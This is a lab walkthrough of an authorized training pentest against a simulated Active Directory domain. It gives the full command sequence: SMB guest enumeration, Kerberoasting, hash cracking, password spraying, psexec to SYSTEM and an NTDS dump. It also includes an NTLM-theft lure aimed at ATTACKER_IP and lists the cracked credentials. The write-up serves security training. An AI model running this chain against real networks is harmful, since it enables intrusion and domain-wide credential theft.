MartiniAD Hacksmarter — Walkthrough
An adult beverage company Martini Bars recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.
Attack Chain Summary
1
Guest SMB Read → Creds in notes.txt → Kerberoasting → Hash Crack → Password Spray → SYSTEM
Enumeration
Port Scan
1
rustscan -b 500 -a 10.1.242.252 -- -sC -sV -Pn
Key open ports:
| Port | Service |
|---|---|
| 53 | DNS |
| 88 | Kerberos |
| 135/139/445 | SMB / RPC |
| 389/636/3268/3269 | LDAP (Active Directory) |
| 3389 | RDP |
| 5985 | WinRM |
| 9389 | .NET Message Framing |
From the LDAP and RDP output we confirm the domain and hostname:
1
2
3
Domain : DRY.MARTINI.BARS
DC : DC01.DRY.MARTINI.BARS
OS : Windows Server 2025 Build 26100
Initial Enumeration
Generate Hosts File
1
nxc smb 10.1.242.252 -u '' -p '' --generate-hosts-file hosts
Add the output to /etc/hosts:
1
10.1.242.252 DC01.DRY.MARTINI.BARS DRY.MARTINI.BARS DC01
SMB — Anonymous Access
1
nxc smb DRY.MARTINI.BARS -u '' -p '' --shares
Anonymous auth works but no share access (no read/write on any share).
SMB — Guest Access
1
nxc smb DRY.MARTINI.BARS -u 'e' -p '' --shares
Result:
| Share | Permissions |
|---|---|
| ADMIN$ | — |
| C$ | — |
| IPC$ | READ |
| NETLOGON | READ, WRITE |
| notes | READ, WRITE |
| SYSVOL | READ, WRITE |
notes share with READ/WRITE access — that’s interesting.
RID Brute Force — User Enumeration
1
nxc smb DRY.MARTINI.BARS -u 'e' -p '' --rid-brute
Filtering SidTypeUser only:
1
2
3
4
5
6
Administrator
Guest
krbtgt
mprice
athena.t0
ATHENA_SVC
Save these to users.txt.
Foothold
Checking the notes Share
1
2
smbclient //10.1.242.252/notes -N
smb: \> get notes.txt
notes.txt content:
1
2
3
4
5
6
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint
creds
mprice:*martini*
First creds:
1
mprice : *martini*
NTLM Theft Attack (Failed)
With READ/WRITE on the notes share, an NTLM theft attack was attempted using ntlm_theft:
1
python3 ntlm_theft.py -g all -s <ATTACKER_IP> -f meeting
Uploaded the malicious files and started Responder:
1
2
3
4
5
smbclient //10.1.242.252/notes -N
smb: \> put meeting.lnk
smb: \> put desktop.ini
sudo responder -I tun0
No callback received — attack did not work on this target.
Privilege Escalation Path 1 — Kerberoasting
mprice — Privilege Check
With valid creds, always check access over SMB, WinRM, and RDP first:
1
2
3
nxc smb DRY.MARTINI.BARS -u 'mprice' -p '*martini*'
nxc winrm DRY.MARTINI.BARS -u 'mprice' -p '*martini*'
nxc rdp DRY.MARTINI.BARS -u 'mprice' -p '*martini*'
No elevated privileges over any service. Move on.
Kerberoasting
Rule of thumb: valid creds → try Kerberoasting. Username-only → try AS-REP Roasting.
1
nxc ldap DRY.MARTINI.BARS -u 'mprice' -p '*martini*' --kerberoasting output.txt
Result — one kerberoastable account found:
1
2
3
4
5
6
sAMAcountName : ATHENA_SVC
memberOf : Remote Management Users, Remote Desktop Users
pwdLastSet : 2026-01-20
lastLogon : <never>
$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$DRY.MARTINI.BARS\ATHENA_SVC*$837c3ebd...
Crack the Hash
1
john output.txt --wordlist=/usr/share/wordlists/rockyou.txt
1
ATHENA_SVC : 1dirtymartini
Privilege Escalation Path 2 — Password Spraying
ATHENA_SVC — Privilege Check
1
2
3
nxc winrm DRY.MARTINI.BARS -u 'ATHENA_SVC' -p '1dirtymartini'
nxc rdp DRY.MARTINI.BARS -u 'ATHENA_SVC' -p '1dirtymartini'
nxc smb DRY.MARTINI.BARS -u 'ATHENA_SVC' -p '1dirtymartini'
WinRM → Pwn3d! RDP also authenticates but denies login (not in local Administrators group).
WinRM Shell
1
evil-winrm -i 10.1.242.252 -u 'ATHENA_SVC' -p '1dirtymartini'
Shell obtained as ATHENA_SVC, but no admin privileges. Checking whoami /priv shows only standard user tokens. Let’s move on with rdp
RDP Access
1
xfreerdp3 /v:10.1.242.252 /u:ATHENA_SVC /p:'1dirtymartini'
I don’t have access to rdp
Password Spray — All Users
ATHENA_SVC and athena.t0 share the same password (password reuse):
1
nxc smb DRY.MARTINI.BARS -u users.txt -p '1dirtymartini' --continue-on-success
Result:
1
2
[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
[+] DRY.MARTINI.BARS\ATHENA_SVC:1dirtymartini
athena.t0 has admin access over SMB — game over.
Root / SYSTEM
PSExec as athena.t0
1
impacket-psexec DRY.MARTINI.BARS/athena.t0:'1dirtymartini'@10.1.242.252
1
2
C:\Windows\System32> whoami
nt authority\system
Post-Exploitation — NTDS Dump
1
nxc smb DRY.MARTINI.BARS -u athena.t0 -p '1dirtymartini' --ntds
Dumps all domain hashes including krbtgt NT hash, enabling Golden Ticket attacks.
Credentials Summary
| User | Password / Hash | Access |
|---|---|---|
| mprice | *martini* | Domain user |
| ATHENA_SVC | 1dirtymartini | WinRM, RDP |
| athena.t0 | 1dirtymartini | SMB Admin (Pwn3d!) |
Key Takeaways
- Guest SMB access can expose sensitive files even without real credentials.
- Always check shares before moving to more complex attacks.
- Kerberoasting works whenever you have valid domain credentials — service accounts with SPNs are high-value targets.
- Password reuse across accounts (especially service accounts) is common and dangerous.
--ntdsvia nxc is the fastest path to dumping the entire domain once you have admin SMB.